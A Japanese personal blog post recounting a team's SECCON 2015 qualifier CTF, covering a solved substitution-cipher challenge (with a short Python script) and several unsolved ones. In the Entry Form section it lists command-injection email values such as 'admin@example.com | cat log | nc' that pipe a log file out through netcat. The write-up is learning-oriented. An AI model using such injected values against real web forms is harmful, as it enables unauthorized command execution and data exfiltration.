つけじょにーのすぱげていコード

主に、競技プログラミング、セキュリティのお勉強の際に書いたすぱげていコードを書き込みます

SECCON2015予選に参加してみた話

今回、チームsosuncer(そすんさー)で参加してきました。
f:id:tukejonny:20151207001727j:plain
チーム全体では900Pを稼ぎ、213位でした。私はほとんど役に立てませんでした。

じゃあ、お前は何をやったんだということなんですが、
解けたのは2問

1. Connect the server
2. Last challenge(Thank you for your playing)

です。
Web/Networkを解きたくて、画面とにらめっこしていたのですが、解けず終い

①Connect the server
netcatで指定されたFQDN&ポート番号にアクセスします。
すると、向こうから1文字ずつ(?)文字が送られてきていて、タイプしてるみたいに表示されていきます。
それでコネクション切れます

とりあえず、何が起こっているかWiresharkでキャプチャしながら覗こうと思い、キャプチャフィルタを設定してキャプチャを開始してから
netcatで接続します。
一通り終わって、WiresharkTCPストリームを追跡します。
すると、フラグが送られているのがわかります。


②Last challenge
単一換字暗号ですね。
この問題、どうやら1問目として出てきた問題と同じやつらしいです。
Pythonでmake_transして表を作っていけます。

#-*- coding: utf-8 -*-
from string import*

t = maketrans("ABCDEFGHIJKLMNOPQRSTUVWXYZ{}", "SVMO{CTYGUPXJN}AFDKIQHRBZLWE")
text = raw_input("input: ")
print text.translate(t)
(*'-') < python encoder.py
input: A}FFDNEA}}HDJN}LGH}PWO
SECCON{SEEYOUNEXTYEAR}





解けなかったけど、取り掛かった問題についても書こうと思います。

1. Fragment2
2. Command-Line Quiz
3. Entry Form
4. Bonsai XSS
5. Find the prime numbers

①Fragment2
pcapが配られます。
Wiresharkでみます
パケット一つ。
へ・・・?

ASCIIみてみると、Flag is in headerと書かれています。
ヘッダと聞いて思いつくのは、Wiresharkで見れるEtherとかIPとかのヘッダと、バイナリエディタなどで見れるpcapファイル自体のヘッダでした。
ごにょごにょ探してみるものの、見つからず。



②Command-Line Quiz
友人が先にとき進めていて、それに合流する形でした。
どうやら、6つのテキストファイルがサーバーに置いてあって、1つはフラグの書かれたテキストファイル(当然権限がないと怒られて読めません)、ほか5つは、1, 2, 3, 4, 5とステージ番号が振られていて、ステージ1をクリアしたらステージ2のテキストが読めるって感じになってるらしい。
回答は、環境変数にセットして、shコマンドを打つ事でできる仕組みになっていました。

ステージ1:テキストの先頭読むときどうやる? Ans. head
ステージ2:テキストの末尾読むときどうやる? Ans. tail
ステージ3:テキストの特定の1行みるときどうやる? Ans. grep
ステージ4:テキストを処理するときどうやる? Ans. awk
ステージ5:flags.txtはただ一つのプログラムでのみ読む事ができます。
      頑張って探してね?

ええ〜、bin/ sbin/ usr/bin usr/sbinあるんですけど・・・
どんだけ探せばいいんすか・・・(泣)

結局解けませんでした。


③Entry Form
メールアドレスと名前の2つのフォームが用意されており、メールアドレスについては、形式が決まっているため、バリデーションが施されていました。
submitすると、送ったよ 戻る みたいのが表示されます。
チームメンバーから助言をいただき
、ディレクトリ階層を遡ってみると、register.cgi_bakというファイルが見つかります。
こいつにアクセスすると、cgiソースコードがみれます。
どうやらPerlで書かれているらしい・・・
お、open関数使ってる
open関数使ってsendmailコマンド実行しとる・・・
後ろにコマンド繋げてやればいけるかな?
あぁ、結果どうやって出力すればいいんだこれ
って感じになりました。

いろんな記事みながら、いろいろ試しました。
admin@example.com | cat log | nc
admin@example.com;cat log | nc
みたいのとか・・・
出力しようがないということで、グローバルIPを持つホストでnetcatでリッスンさせて結果みれないかなーってやってました。

ほかの方のWriteUpみて恥ずかしくなりました。ポッチャマァ・・・



④Bonsai XSS
実行 -> なんか勝手に動いてく -> 止まる -> クリック -> クリックできねーよって言われる -> なんかいろいろ動かす -> どうやらTab 右方向キーでURL入力欄に打ち込めるようになる -> 何しても動かない・・・

で解けず終い。



⑤Find the prime number
渡されたソースみて、cgiの動きを調べて、わかったことを投げて、それ以降進捗ありませんでした。

read_json()を使って、jsonファイルを読み込んでいる(jsonファイルには、素数p, qなどの数値があるらしい?)
write_json()を使って、jsonファイルに書き込みを行っている

単純なRSAではない?なんか独自の計算行ってる?

Webページを見たときに表示される文字は
q = "%019d + %019d = %019d" % (c, o, h)
で出力している。
また、出力した値はログファイルに書き込んでいる

クエリパラメータの渡し方はおそらく
http://domain?QUERY_STRING=<value>

<value>がdata.jsonに書かれたnumという値と一致し、access.jsonに書かれたこちらのIPアドレスの時刻よりも後であればフラグを出力するらしい

どうやら、data.jsonにはこの問題でしようするパラメータを、
access.jsonにはアクセスしてきたIPのデータを保持させるらしい

フラグが出力されたかどうかに関わらず、access.jsonの時刻とoutpというパラメータは更新される。
更新された時刻より後であれば、フラグを出力させるチャンスが訪れる